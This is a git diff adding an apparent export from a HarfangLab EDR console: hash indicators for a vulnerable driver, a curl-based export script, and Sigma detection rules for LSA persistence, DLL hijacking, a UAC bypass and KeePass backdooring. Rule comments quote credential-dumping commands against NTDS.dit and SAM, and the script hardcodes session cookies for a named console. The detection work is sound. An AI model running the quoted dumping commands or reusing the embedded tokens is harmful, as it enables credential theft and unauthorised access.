+  "value": "e0d154893940c8abe95477321fcc006636423d9584baa76007013eeb7de56881",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fffb5883-28f0-5309-ae4d-701c30284f96",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832835Z",
+  "creation_date": "2026-03-23T11:45:30.832838Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832847Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c2dd7461a636a4b507e5aff3cbe8c54545a9c497ca45299e4ba69e34866b37d1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
diff --git a/harfang_export/export.sh b/harfang_export/export.sh
new file mode 100644
index 0000000..74b9379
--- /dev/null
+++ b/harfang_export/export.sh
@@ -0,0 +1,40 @@
+#!/bin/bash
+
+BASE_URL="https://2ee66321e45741fa.hurukai.io:8443"
+COOKIE="hlab_token=a0fdeaebc1de7a5a7e27ee39bffe684f99270280; hlab_front=\"\"; sessionid=gp9c7k3j67gjdwy3q41ai1z0jsbxjc1v"
+limit=50
+offset=0
+total=0
+
+while true; do
+  echo "Fetching offset=$offset..."
+
+  response=$(curl -s -X GET \
+    "$BASE_URL/api/data/threat_intelligence/CorrelationRule/?limit=$limit&offset=$offset" \
+    -H "accept: application/json" \
+    -H "Cookie: $COOKIE")
+
+  # Vérifie si la réponse est valide
+  count=$(echo "$response" | jq -r '.count')
+  if [ "$count" == "null" ] || [ -z "$count" ]; then
+    echo "Erreur ou réponse invalide :"
+    echo "$response" | head -c 500
+    break
+  fi
+
+  echo "Total disponible : $count"
+
+  # Sauvegarde les résultats
+  echo "$response" | jq '.results[]' >> resultats.json
+
+  total=$((total + $(echo "$response" | jq '.results | length')))
+  echo "Récupérés jusqu'ici : $total"
+
+  next=$(echo "$response" | jq -r '.next')
+  if [ "$next" == "null" ]; then
+    echo "Terminé ! $total résultats récupérés."
+    break
+  fi
+
+  offset=$((offset + limit))
+done
diff --git a/harfang_export/sigma_export.json b/harfang_export/sigma_export.json
new file mode 100644
index 0000000..4bb745e
--- /dev/null
+++ b/harfang_export/sigma_export.json
@@ -0,0 +1,131774 @@
+{
+  "id": "003481a2-e45e-44fd-9433-b13492669c31",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076504Z",
+  "creation_date": "2026-03-23T11:45:34.076506Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076511Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/t1174-password-filter-dll",
+    "https://attack.mitre.org/techniques/T1547/002/"
+  ],
+  "name": "t1547_002_persistence_lsa_authentication_package.yml",
+  "content": "title: LSA Authentication Package Installed\nid: 003481a2-e45e-44fd-9433-b13492669c31\ndescription: |\n    Detects the installation of a new authentication package via a registry modification.\n    The LSA (Local Security Authority) is a critical Windows component responsible for managing security policies and authentication.\n    Attackers may install these packages to gain elevated privileges or establish persistence.\n    It is recommended to investigate the source of the configuration change, review the permissions and ownership of the affected LSA settings, and verify the legitimacy of the modification.\n    If the change cannot be attributed to a legitimate process, consider rolling back the configuration.\nreferences:\n    - https://www.ired.team/offensive-security/credential-access-and-credential-dumping/t1174-password-filter-dll\n    - https://attack.mitre.org/techniques/T1547/002/\ndate: 2020/09/22\nmodified: 2025/05/05\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.002\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        TargetObject:\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\Authentication Packages'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Authentication Packages'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    exclusion_malwarebytes:\n        Image: '?:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe'\n\n    exclusion_scecli:\n        EventType: SetValue\n        TargetObject: 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\Authentication Packages'\n        Details: 'scecli'\n\n    exclusion_msv10:\n        EventType: SetValue\n        TargetObject: 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\Authentication Packages'\n        Details: 'msv1_0'  # default value\n\n    exclusion_known_fp:\n        Details:\n            - 'msv1_0'\n            - 'msv1_0;sshdpinauthlsa' # C:\\WINDOWS\\system32\\SshdPinAuthLsa.dll, DLL from microsoft\n            - 'msv1_0;ZenV1_0'        # Novell ZENworks\n            - 'msv1_0;nxlsa'          # NoMachine S.a.r.l.\n            - 'msv1_0;BvLsaEx'        # BvSshServer-Inst.exe\n            - 'msv1_0;teleport'       # teleport-windows-auth-setup - Teleport RMM - https://goteleport.com/download/?product=connect&os=windows\n            - 'msv1_0;CSALsubauth'    # https://www.authlite.com/\n            - 'msv1_0;wvauth'         # Wave Systems Corp.\n            - 'msv1_0;?:\\Program Files (x86)\\ScreenConnect Client (????????????????)\\ScreenConnect.WindowsAuthenticationPackage.dll'\n            - 'msv1_0;?:\\Program Files (x86)\\ScreenConnect Client (????????????????)\\ScreenConnect.WindowsAuthenticationPackage.dll;?:\\Program Files (x86)\\ScreenConnect Client (????????????????)\\ScreenConnect.WindowsAuthenticationPackage.dll'\n            - 'msv1_0;SshdPinAuthLsa;?:\\Program Files (x86)\\ScreenConnect Client (????????????????)\\ScreenConnect.WindowsAuthenticationPackage.dll'\n            - 'msv1_0;SshdPinAuthLsa;?:\\Program Files (x86)\\ScreenConnect Client (????????????????)\\ScreenConnect.WindowsAuthenticationPackage.dll;?:\\Program Files (x86)\\ScreenConnect Client (????????????????)\\ScreenConnect.WindowsAuthenticationPackage.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "003481a2-e45e-44fd-9433-b13492669c31",
+  "rule_name": "LSA Authentication Package Installed",
+  "rule_description": "Detects the installation of a new authentication package via a registry modification.\nThe LSA (Local Security Authority) is a critical Windows component responsible for managing security policies and authentication.\nAttackers may install these packages to gain elevated privileges or establish persistence.\nIt is recommended to investigate the source of the configuration change, review the permissions and ownership of the affected LSA settings, and verify the legitimacy of the modification.\nIf the change cannot be attributed to a legitimate process, consider rolling back the configuration.\n",
+  "rule_creation_date": "2020-09-22",
+  "rule_modified_date": "2025-05-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1547.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "006ebafe-6e79-4642-a76f-5073a4cc1bc5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098649Z",
+  "creation_date": "2026-03-23T11:45:34.098651Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098656Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dnscacheugc.yml",
+  "content": "title: DLL Hijacking via dnscacheugc.exe\nid: 006ebafe-6e79-4642-a76f-5073a4cc1bc5\ndescription: |\n    Detects potential Windows DLL Hijacking via dnscacheugc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dnscacheugc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dbgcore.DLL'\n            - '\\dbghelp.dll'\n            - '\\IPHLPAPI.DLL'\n            - '\\wdscore.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "006ebafe-6e79-4642-a76f-5073a4cc1bc5",
+  "rule_name": "DLL Hijacking via dnscacheugc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dnscacheugc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0070bcf5-0b6e-40f9-9b07-baad4a18cf84",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627344Z",
+  "creation_date": "2026-03-23T11:45:34.627346Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627350Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/jschicht/RawCopy",
+    "http://blog.opensecurityresearch.com/2011/10/how-to-acquire-locked-files-from.html",
+    "https://attack.mitre.org/techniques/T1006/"
+  ],
+  "name": "t1006_raw_access_files.yml",
+  "content": "title: Files Accessed via Raw Device Access\nid: 0070bcf5-0b6e-40f9-9b07-baad4a18cf84\ndescription: |\n    Detects raw access to files through tools like RawCopy or FGET.\n    Attackers can raw access files to dump them and evade detection mechanisms, as well as bypass locked files.\n    It is recommended to investigate the command-line arguments to check which file was accessed and to analyze the parent process for suspicious activities.\nreferences:\n    - https://github.com/jschicht/RawCopy\n    - http://blog.opensecurityresearch.com/2011/10/how-to-acquire-locked-files-from.html\n    - https://attack.mitre.org/techniques/T1006/\ndate: 2022/10/19\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1006\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.RawCopy\n    - classification.Windows.Tool.FGET\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # RawCopy.exe /FileNamePath:C:\\Windows\\NTDS\\ntds.dit /OutputPath:C:\\Windows\\Temp\\ntds.dit\n    selection_rawcopy:\n        LegalCopyright: 'Joakim Schicht'\n        Description: 'Copy files from NTFS volumes by using low level disk access'\n        CommandLine|contains: 'FileNamePath'\n\n    # FGET.exe -extract C:\\Windows\\System32\\config\\SAM C:\\Windows\\Temp\\out.sam\n    selection_fget:\n        # Signed by HBGary, Inc\n        # The certificate was explicitly revoked by its issuer\n        Imphash: '72B17395940FD0266D2CBBF8EB32CF3C'\n        CommandLine|contains: 'extract'\n\n    # This is handled by the rule aaf113bc-6b63-46d3-919a-9b2a105bcd5f\n    filter_sensitive_files:\n        CommandLine|contains:\n            - '\\Windows\\NTDS\\NTDS.dit'\n            - '\\Windows\\System32\\config\\SAM'\n            - '\\Windows\\System32\\config\\SECURITY'\n            - '\\Windows\\System32\\config\\SYSTEM'\n\n    exclusion_bmc:\n        Ancestors|endswith: '?:\\Program Files\\BMC Software\\BladeLogic\\RSC\\RSCDsvc.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    condition: 1 of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0070bcf5-0b6e-40f9-9b07-baad4a18cf84",
+  "rule_name": "Files Accessed via Raw Device Access",
+  "rule_description": "Detects raw access to files through tools like RawCopy or FGET.\nAttackers can raw access files to dump them and evade detection mechanisms, as well as bypass locked files.\nIt is recommended to investigate the command-line arguments to check which file was accessed and to analyze the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-10-19",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "008189c4-a1fb-4a50-86ed-a178011f9cc2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077824Z",
+  "creation_date": "2026-03-23T11:45:34.077826Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077830Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://pentestlab.blog/2017/06/09/uac-bypass-sdclt/",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_post_uac_bypass_sdclt.yml",
+  "content": "title: UAC Bypass Executed via sdclt\nid: 008189c4-a1fb-4a50-86ed-a178011f9cc2\ndescription: |\n    Detects an unusual process being spawned by sdclt.exe.\n    This is action is probably the result of a UAC bypass attempt, prepared by setting specific values in thre registry.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on a system to perform a task under administrator-level permissions.\n    It is recommended to investigate the detected process and its execution context to determine its legitimacy.\nreferences:\n    - https://pentestlab.blog/2017/06/09/uac-bypass-sdclt/\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2020/10/12\nmodified: 2025/02/05\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.Hijacking\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\sdclt.exe'\n\n    filter_common:\n        Image:\n            - '?:\\Windows\\System32\\sdclt.exe'\n            - '?:\\Windows\\System32\\control.exe'\n            - '?:\\Windows\\System32\\recdisc.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "008189c4-a1fb-4a50-86ed-a178011f9cc2",
+  "rule_name": "UAC Bypass Executed via sdclt",
+  "rule_description": "Detects an unusual process being spawned by sdclt.exe.\nThis is action is probably the result of a UAC bypass attempt, prepared by setting specific values in thre registry.\nAdversaries may bypass UAC mechanisms to elevate process privileges on a system to perform a task under administrator-level permissions.\nIt is recommended to investigate the detected process and its execution context to determine its legitimacy.\n",
+  "rule_creation_date": "2020-10-12",
+  "rule_modified_date": "2025-02-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "00a9c87a-2497-4d37-878f-7cb8f3560972",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091095Z",
+  "creation_date": "2026-03-23T11:45:34.091097Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091102Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Pennyw0rth/NetExec/blob/1af282888cd514cf9b4a08ff7caeb26c64625d90/nxc/data/keepass_trigger_module/AddKeePassTrigger.ps1",
+    "https://attack.mitre.org/techniques/T1555/005/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1555_005_netexec_keepass.yml",
+  "content": "title: KeePass Backdoored via NetExec\nid: 00a9c87a-2497-4d37-878f-7cb8f3560972\ndescription: |\n    Detects a dump of a KeePass database made using the NetExec tools.\n    NetExec is a tool intended to ease lateral movement, internal recon and credential gathering actions.\n    It is recommended to investigate actions made by the child process and identify the source of the remote connection using authentication logs.\nreferences:\n    - https://github.com/Pennyw0rth/NetExec/blob/1af282888cd514cf9b4a08ff7caeb26c64625d90/nxc/data/keepass_trigger_module/AddKeePassTrigger.ps1\n    - https://attack.mitre.org/techniques/T1555/005/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2024/07/23\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1555.005\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.HackTool.NetExec\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_add:\n        PowershellCommand|contains|all:\n            - '$Null = $KeePassXML.Configuration.Application.TriggerSystem.Triggers.AppendChild($KeePassXML.ImportNode($TriggerXML.Trigger, $True))'\n            - \"$Null = $KeePassXML.Configuration.Application.TriggerSystem.ReplaceChild($Triggers, $KeePassXML.Configuration.Application.TriggerSystem.SelectSingleNode('Triggers'))\"\n            - '<TypeGuid>bES7XfGLTA2IzmXm6a0pig==</TypeGuid>'\n            - '<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>'\n    selection_remove:\n        PowershellCommand|contains|all:\n            - '$KeePassXML.Configuration.Application.TriggerSystem.Triggers.RemoveChild($Child)'\n            - '$Children = $KeePassXML.Configuration.Application.TriggerSystem.Triggers | ForEach-Object {$_.Trigger} | Where-Object {$_.Name -like $TriggerName}'\n            - \"if($KeePassXMLPath -and ($KeePassXMLPath -match '.\\\\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) {\"\n    selection_restart:\n        PowershellCommand|contains|all:\n            - \"if($KeePassXMLPath -and ($KeePassXMLPath -match '.\\\\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) {\"\n            - 'taskkill /F /T /IM keepass.exe /FI \"USERNAME eq $KeePassUser\"'\n    condition: 1 of selection_*\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "00a9c87a-2497-4d37-878f-7cb8f3560972",
+  "rule_name": "KeePass Backdoored via NetExec",
+  "rule_description": "Detects a dump of a KeePass database made using the NetExec tools.\nNetExec is a tool intended to ease lateral movement, internal recon and credential gathering actions.\nIt is recommended to investigate actions made by the child process and identify the source of the remote connection using authentication logs.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1555.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "00d0b7b5-b0af-4d67-8658-5a08f0acf307",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618852Z",
+  "creation_date": "2026-03-23T11:45:34.618854Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618858Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_infdefaultinstall.yml",
+  "content": "title: DLL Hijacking via InfDefaultInstall.exe\nid: 00d0b7b5-b0af-4d67-8658-5a08f0acf307\ndescription: |\n    Detects potential Windows DLL Hijacking via InfDefaultInstall.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'InfDefaultInstall.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\drvstore.dll'\n            - '\\newdev.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "00d0b7b5-b0af-4d67-8658-5a08f0acf307",
+  "rule_name": "DLL Hijacking via InfDefaultInstall.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via InfDefaultInstall.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
